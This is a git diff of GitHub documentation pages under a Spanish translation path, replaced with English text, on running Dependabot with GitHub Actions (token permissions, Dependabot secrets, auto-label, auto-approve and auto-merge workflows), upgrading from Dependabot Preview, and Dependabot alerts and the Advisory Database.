a/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md +++ b/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md @@ -28,24 +28,91 @@ shortTitle: Use Dependabot with actions ## Responding to events -{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, due to ["GitHub Actions: Workflows triggered by Dependabot PRs will run with read-only permissions"](https://github.blog/changelog/2021-02-19-github-actions-workflows-triggered-by-dependabot-prs-will-run-with-read-only-permissions/), certain events are treated differently. +{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently. For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply: -- `GITHUB_TOKEN` has read-only permissions. -- Secrets are inaccessible. +- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %} +- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %} For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -{% ifversion ghes > 3.2 %} +{% ifversion fpt or ghec or ghes > 3.3 %} + +### Changing `GITHUB_TOKEN` permissions + +By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: + +{% raw %} + +```yaml +name: CI +on: pull_request + +# Set the access for individual scopes, or use permissions: write-all +permissions: + pull-requests: write + issues: write + repository-projects: write + ... + +jobs: + ... +``` + +{% endraw %} + +For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)." + +### Accessing secrets + +When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)". + +{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)." + +If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below. + +To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. + +{% raw %} + +```yaml +name: CI +on: + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Login to private container registry for dependencies + uses: docker/login-action@v1 + with: + registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: ${{ secrets.READONLY_AWS_ACCESS_KEY_ID }} + password: ${{ secrets.READONLY_AWS_ACCESS_KEY }} + + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) +``` + +{% endraw %} + +{% endif %} + +{% ifversion ghes = 3.3 %} + {% note %} **Note:** Your site administrator can override these restrictions for {% data variables.product.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)." -If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to any secrets that are normally available. In addition, workflows triggered by {% data variables.product.prodname_dependabot %} can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. +If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies. {% endnote %} -{% endif %} ### Handling `pull_request` events @@ -54,6 +121,7 @@ If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissi Below is a simple example of a `pull_request` workflow that might now be failing: {% raw %} + ```yaml ### This workflow now has no secrets and a read-only token name: Dependabot Workflow @@ -68,6 +136,7 @@ jobs: steps: - uses: actions/checkout@v2 ``` + {% endraw %} You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`. @@ -79,6 +148,7 @@ You can replace `pull_request` with `pull_request_target`, which is used for pul {% endwarning %} {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Workflow @@ -99,6 +169,7 @@ jobs: ref: ${{ github.event.pull_request.head.sha }} github-token: ${{ secrets.GITHUB_TOKEN }} ``` + {% endraw %} It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." @@ -110,6 +181,7 @@ As there is no `pull_request_target` equivalent for `push` events, you will have The first workflow performs any untrusted work: {% raw %} + ```yaml ### This workflow doesn't have access to secrets and has a read-only token name: Dependabot Untrusted Workflow @@ -123,11 +195,13 @@ jobs: steps: - uses: ... ``` + {% endraw %} The second workflow performs trusted work after the first workflow completes successfully: {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Trusted Workflow @@ -147,8 +221,11 @@ jobs: steps: - uses: ... ``` + {% endraw %} +{% endif %} + ### Manually re-running a workflow You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior. @@ -157,15 +234,28 @@ You can also manually re-run a failed Dependabot workflow, and it will run with Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}. +{% ifversion ghes = 3.3 %} + +{% note %} + +**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows. + +{% endnote %} + +{% endif %} + ### Fetch metadata about a pull request A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. The `dependabot/fetch-metadata` action provides all that information for you: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml -name: Dependabot auto-label +name: Dependabot fetch metadata on: pull_request_target permissions: @@ -188,8 +278,42 @@ jobs: # - steps.dependabot-metadata.outputs.dependency-type # - steps.dependabot-metadata.outputs.update-type ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.metadata.outputs.dependency-names + # - steps.metadata.outputs.dependency-type + # - steps.metadata.outputs.update-type +``` + +{% endraw %} + +{% endif %} + For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. ### Label a pull request @@ -198,7 +322,10 @@ If you have other automation or triage workflows based on {% data variables.prod For example, if you want to flag all production dependency updates with a label: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-label on: pull_request_target @@ -224,13 +351,51 @@ jobs: env: PR_URL: ${{github.event.pull_request.html_url}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% endif %} + ### Approve a pull request If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-approve on: pull_request_target @@ -254,15 +419,51 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request + +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + ### Enable auto-merge on a pull request If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." Here is an example of enabling auto-merge for all patch updates to `my-dependency`: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-merge on: pull_request_target @@ -288,15 +489,61 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request + +permissions: + pull-requests: write + contents: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.metadata.outputs.dependency-names, 'my-dependency') && steps.metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + ## Troubleshooting failed workflow runs If your workflow run fails, check the following: +{% ifversion ghes = 3.3 %} + - You are running the workflow only when the correct actor triggers it. - You are checking out the correct `ref` for your `pull_request`. - You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. - You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. +{% else %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. +- You have a `GITHUB_TOKEN` with the correct permissions. + +{% endif %} + For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)." diff --git a/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md b/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md index e8f7ef371b..a63ca2bd83 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md +++ b/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md @@ -1,6 +1,6 @@ --- -title: Mejorar la versión de Dependabot.com al Dependabot nativo de GitHub -intro: Puedes mejorar a un Dependabot nativo de GitHub si fusionas una solicitud de cambios que permitirá a tus dependencias seguir actualizándose. +title: Upgrading from Dependabot.com to GitHub-native Dependabot +intro: You can upgrade to GitHub-native Dependabot by merging a pull request that will allow your dependencies to continue being updated. versions: fpt: '*' ghec: '*' @@ -12,44 +12,43 @@ topics: - Dependencies redirect_from: - /code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot -shortTitle: Actualizaciones de Dependabot.com +shortTitle: Dependabot.com upgrades --- - {% warning %} -La Vista Previa del Dependabot también se cerró desde el 3 de agosto de 2021. Para seguir obteniendo actualizaciones del Dependabot, por favor, mígrate al Dependabot nativo de GitHub. +Dependabot Preview has been shut down as of August 3rd, 2021. In order to keep getting Dependabot updates, please migrate to GitHub-native Dependabot. -Las solicitudes de cambios abiertas de la Vista Previa del Dependabot permanecerán abiertas, incluyendo las solicitudes de cambio para actualizar al Dependabot nativo de GitHub, pero el bot mismo ya no funcionará en tus cuentas y organizaciones de {% data variables.product.prodname_dotcom %}. +Open pull requests from Dependabot Preview will remain open, including the pull request to upgrade to GitHub-native Dependabot, but the bot itself will no longer work on your {% data variables.product.prodname_dotcom %} accounts and organizations. {% endwarning %} -## Acerca de mejorar de una vista previa del Dependabot a un {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %} +## About upgrading from Dependabot Preview to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -La vista previa del Dependabot se creó directamente en {% data variables.product.prodname_dotcom %} para que puedas utilizar el {% data variables.product.prodname_dependabot %} junto con el resto de las funcionalidades en {% data variables.product.prodname_dotcom %} sin tener que instalar y utilizar una aplicación por separado. Al migrarte al {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %}, también podemos enfocarnos en traer muchas características emocionantes al {% data variables.product.prodname_dependabot %}, incluyendo más [actualizaciones de ecosistema](https://github.com/github/roadmap/issues/150), [notificaciones mejoradas](https://github.com/github/roadmap/issues/133) y compatibilidad del {% data variables.product.prodname_dependabot %} con [{% data variables.product.prodname_ghe_server %}](https://github.com/github/roadmap/issues/86) y [{% data variables.product.prodname_ghe_managed %}](https://github.com/github/roadmap/issues/135). +Dependabot Preview has been built directly into {% data variables.product.prodname_dotcom %}, so you can use {% data variables.product.prodname_dependabot %} alongside all the other functionality in {% data variables.product.prodname_dotcom %} without having to install and use a separate application. By migrating to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, we can also focus on bringing lots of exciting new features to {% data variables.product.prodname_dependabot %}, including more [ecosystem updates](https://github.com/github/roadmap/issues/150), [improved notifications](https://github.com/github/roadmap/issues/133), and {% data variables.product.prodname_dependabot %} support for [{% data variables.product.prodname_ghe_server %}](https://github.com/github/roadmap/issues/86) and [{% data variables.product.prodname_ghe_managed %}](https://github.com/github/roadmap/issues/135). -## Diferencias entre la vista previa del Dependabot y el {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %} +## Differences between Dependabot Preview and {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -Si bien la mayoría de las características de la vista previa del Dependabot existen en el {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %}, algunas no están disponibles en él: -- **Actualizaciones en vivo:** Esperamos tenerlas de vuelta pronto. Por el momento, puedes ejecutar el {% data variables.product.prodname_dependabot %} de {% data variables.product.prodname_dotcom %} diariamente para que atrae paquetes al transcurrir un día de su lanzamiento. -- **Registros de variable de ambiente PHP:** Para los proyectos que dependen de la variable de ambiente `ACF_PRO_KEY`, puede que seas capaz de expender tu copia licenciada del plugin de los Campos Personalizados Avanzados. Para encontrar un ejemplo, consulta [dependabot/acf-php-example](https://github.com/dependabot/acf-php-example#readme). Para encontrar otras variables de ambiente, puedes utilizar {% data variables.product.prodname_actions %} para recuperar las dependencias desde estos registros. -- **Fusión automática:** Siempre recomendamos verificar tus dependencias antes de fusionarlas; por lo tanto, la fusión automática no será compatible en el futuro previsible. Para aquellos que vetaron sus dependencias o que solo utilizan las internas, recomendamos agregar aplicaciones de fusión automática de terceros o configurar GitHub Actions para fusionar. Hemos proporcionado la acción [`dependabot/fetch-metadata`](https://github.com/marketplace/actions/fetch-metadata-from-dependabot-prs) para ayudar a los desarrolladores a [Habilitar la fusión automática de GitHub](https://github.com/dependabot/fetch-metadata/#enabling-auto-merge). +While most of the Dependabot Preview features exist in {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, a few remain unavailable: +- **Live updates:** We hope to bring these back in the future. For now, you can run {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_dependabot %} daily to catch new packages within one day of release. +- **PHP environment variable registries:** For projects that rely on the `ACF_PRO_KEY` environment variable, you may be able to vendor your licensed copy of the Advanced Custom Fields plugin. For an example, see [dependabot/acf-php-example](https://github.com/dependabot/acf-php-example#readme). For other environment variables, you can use {% data variables.product.prodname_actions %} to fetch dependencies from these registries. +- **Auto-merge:** We always recommend verifying your dependencies before merging them; therefore, auto-merge will not be supported for the foreseeable future. For those of you who have vetted your dependencies, or are only using internal dependencies, we recommend adding third-party auto-merge apps, or setting up GitHub Actions to merge. We have provided the [`dependabot/fetch-metadata`](https://github.com/marketplace/actions/fetch-metadata-from-dependabot-prs) action to help developers [enable GitHub's automerge](https://github.com/dependabot/fetch-metadata/#enabling-auto-merge). -En el {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %}, puedes configurar todas las actualizaciones de versión utilizando el archivo de configuración. Este archivo es similar al archivo de configuración de la vista previa de Dependabot con algunos cambios y mejoras que se incluirán automáticamente en su solicitud de extracción de actualización. Para obtener más información sobre la solicitud de cambios de actualziación, consulta la sección "[Actualizar a un Dependabot nativo de GitHub](/code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot#upgrading-to-github-native-dependabot)". +In {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, you can configure all version updates using the configuration file. This file is similar to the Dependabot Preview configuration file with a few changes and improvements that will be automatically included in your upgrade pull request. For more information about the upgrade pull request, see "[Upgrading to GitHub-native Dependabot](/code-security/supply-chain-security/upgrading-from-dependabotcom-to-github-native-dependabot#upgrading-to-github-native-dependabot)". -Para ver las bitácoras de actualización del {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %} que se encontraban anteriormente en el tablero de Dependabot.com: +To see update logs for {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} that were previously on the Dependabot.com dashboard: - 1. Navega a la página de **Perspectivas** de tu repositorio. - 2. Haz clic en la **Gráfica de dependencias** a la izquierda. - 3. Haz clic en **{% data variables.product.prodname_dependabot %}**. + 1. Navigate to your repository’s **Insights** page. + 2. Click **Dependency graph** to the left. + 3. Click **{% data variables.product.prodname_dependabot %}**. -Para obtener más información acerca de las actualizaciones con un {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %}, consulta la sección "[Acerca de las actualizaciones de versión del Dependabot](/code-security/supply-chain-security/about-dependabot-version-updates)". +For more information about version updates with {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}, see "[About Dependabot version updates](/code-security/supply-chain-security/about-dependabot-version-updates)." -## Actualizar a un {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %} +## Upgrading to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} -El actualizar de la vista previa del Dependabot a un {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %} requiere que: fusiones la solicitud de cambios de *Actualices a un Dependabot nativo de GitHub* en tu repositorio. Esta solicitud de cambios incluye el archivo de configuración actualizado que se requiere para tener un {% data variables.product.prodname_dependabot %} nativo de {% data variables.product.prodname_dotcom %}. +Upgrading from Dependabot Preview to {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %} requires you to merge the *Upgrade to GitHub-native Dependabot* pull request in your repository. This pull request includes the updated configuration file needed for {% data variables.product.prodname_dotcom %}-native {% data variables.product.prodname_dependabot %}. -Si estás utilizando repositorios privados, tendrás que proporcionar al Dependabot acceso a ellos en la configuración de análisis y seguridad de tu organización. Para obtener más información, consulta la sección "[Permitir que el Dependabot acceda a las dependencias privadas](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)". Anteriormente, el Dependabot tenía acceso a todos los repositorios dentro de una organización, pero implementamos este cambio porque así es mucho más seguro utilizar el principio del privilegio mínimo necesario para el Dependabot. +If you are using private repositories, you will have to grant Dependabot access to these repositories in your organization's security and analysis settings. For more information, see "[Allowing Dependabot to access private dependencies](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#allowing-dependabot-to-access-private-dependencies)". Previously, Dependabot had access to all repositories within an organization, but we implemented this change because it is much safer to use the principle of least privilege for Dependabot. -Si estás utilizando registros privados, tendrás que agregar tus secretos existentes de la vista previa del Dependabot a tus "Secretos del Dependabot" de tu organización o repositorio. Para obtener más información, consulta la sección "[Administrar los secretos cifrados del Dependabot](/code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot)". +If you are using private registries, you will have to add your existing Dependabot Preview secrets to your repository's or organization's "Dependabot secrets". For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/managing-encrypted-secrets-for-dependabot)". -Si tienes cualquier duda o si necesitas ayuda para migrarte, puedes ver o abrir propuestas en el repositorio [dependabot/dependabot-core](https://github.com/dependabot/dependabot-core/issues/new?assignees=%40dependabot%2Fpreview-migration-reviewers&labels=E%3A+preview-migration&template=migration-issue.md&title=). +If you have any questions or need help migrating, you can view or open issues in the [dependabot/dependabot-core](https://github.com/dependabot/dependabot-core/issues/new?assignees=%40dependabot%2Fpreview-migration-reviewers&labels=E%3A+preview-migration&template=migration-issue.md&title=) repository. diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md index 1359ccf52a..4a20954bbf 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md @@ -20,7 +20,6 @@ topics: - Dependencies shortTitle: Dependabot alerts --- - ## About vulnerable dependencies @@ -50,7 +49,7 @@ For a list of the ecosystems that {% data variables.product.product_name %} can {% endnote %} -## {% data variables.product.prodname_dependabot %} alerts for vulnerable dependencies +## {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies {% data reusables.repositories.enable-security-alerts %} @@ -75,7 +74,7 @@ For repositories where {% data variables.product.prodname_dependabot_security_up {% endwarning %} -## Access to {% data variables.product.prodname_dependabot %} alerts +## Access to {% data variables.product.prodname_dependabot_alerts %} You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md index 71502324aa..b283a4b5e0 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md @@ -29,7 +29,7 @@ topics: {% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." -{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot %} alerts to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} +{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} {% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md index 5d1b8debc7..7fd77729d1 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md @@ -1,7 +1,7 @@ --- -title: Buscar vulnerabilidades de seguridad en la Base de Datos de Asesorías de GitHub -intro: 'La {% data variables.product.prodname_advisory_database %} te permite buscar vulnerabilidades que afecten proyectos de código abierto, ya sea manualmente o por coincidencia exacta, en {% data variables.product.company_short %}.' -shortTitle: Buscar en la Base de Datos de Asesorías +title: Browsing security vulnerabilities in the GitHub Advisory Database +intro: 'The {% data variables.product.prodname_advisory_database %} allows you to browse or search for vulnerabilities that affect open source projects on {% data variables.product.company_short %}.' +shortTitle: Browse Advisory Database redirect_from: - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database @@ -16,78 +16,80 @@ topics: - Vulnerabilities - CVEs --- - -## Acerca de las vulnerabilidades de seguridad +## About security vulnerabilities {% data reusables.repositories.a-vulnerability-is %} -{% data variables.product.product_name %} te enviará {% data variables.product.prodname_dependabot_alerts %} si detectamos que cualquiera de las vulnerabilidades de la {% data variables.product.prodname_advisory_database %} afecta los paquetes de los que depende tu repositorio. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)". +{% data variables.product.product_name %} will send you {% data variables.product.prodname_dependabot_alerts %} if we detect that any of the vulnerabilities from the {% data variables.product.prodname_advisory_database %} affect the packages that your repository depends on. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." -## Acerca de {% data variables.product.prodname_advisory_database %} +## About the {% data variables.product.prodname_advisory_database %} -La {% data variables.product.prodname_advisory_database %} contiene una lista selecta de vulnerabilidades de seguridad que se han mapeado para los paquetes que rastrea la gráfica de dependencias de {% data variables.product.company_short %}. {% data reusables.repositories.tracks-vulnerabilities %} +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that have been mapped to packages tracked by the {% data variables.product.company_short %} dependency graph. {% data reusables.repositories.tracks-vulnerabilities %} -Cada asesoría de seguridad contiene información acerca de la vulnerabilidad, incluyendo la descripción, severidad, paquete afectado, paquete de ecosistema, versiones afectadas y versiones parchadas, impacto, e información opcional tal como referencias, soluciones alternas, y créditos. Adicionalmente, las asesorías de la National Vulnerability Database contiene un enlace al registro de CVE, en donde puedes leer más sobre los detalles de la vulnerabilidad, su puntuación de CVSS y su nivel de severidad cualitativo. Para obtener más información, consulta la "[National Vulnerability Database](https://nvd.nist.gov/)" del Instituto Nacional de Estándares y Tecnología. +Each security advisory contains information about the vulnerability, including the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE 